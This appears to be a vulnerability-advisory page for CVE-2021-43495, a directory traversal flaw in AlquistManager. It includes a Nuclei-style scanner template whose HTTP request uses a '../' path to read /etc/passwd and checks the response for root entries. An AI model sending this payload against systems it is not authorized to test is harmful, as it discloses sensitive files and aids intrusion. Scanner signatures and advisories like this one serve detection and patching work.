CVE-2021-43495: AlquistManager Local File Inclusion

日期: 2025-08-01 | 影响软件: AlquistManager | POC: 已公开

漏洞描述

AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.

PoC代码[已公开]

id: CVE-2021-43495

info:
  name: AlquistManager Local File Inclusion
  author: pikpikcu
  severity: high
  description: AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or remote code execution.
  remediation: |
    Ensure that user-supplied input is properly validated and sanitized before being used in file inclusion functions.
  reference:
    - https://github.com/AlquistManager/alquist/issues/43
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43495
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43495
    cwe-id: CWE-22
    epss-score: 0.54584
    epss-percentile: 0.97959
    cpe: cpe:2.3:a:alquistai:alquist:2017-06-13:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alquistai
    product: alquist
  tags: cve2021,cve,lfi,alquist,alquistai

http:
  - method: GET
    path:
      - "{{BaseURL}}/asd/../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a0047304502205a4799c9c5dd0b26670880653a52c23a9ebbc4c328568e54b8b8953087b93a27022100df1743ac2f7dada5cf289455ae14dcd84bd30c1fced6efc58a4f444dc6671b77:922c64590222798bb761d5b6d8e72950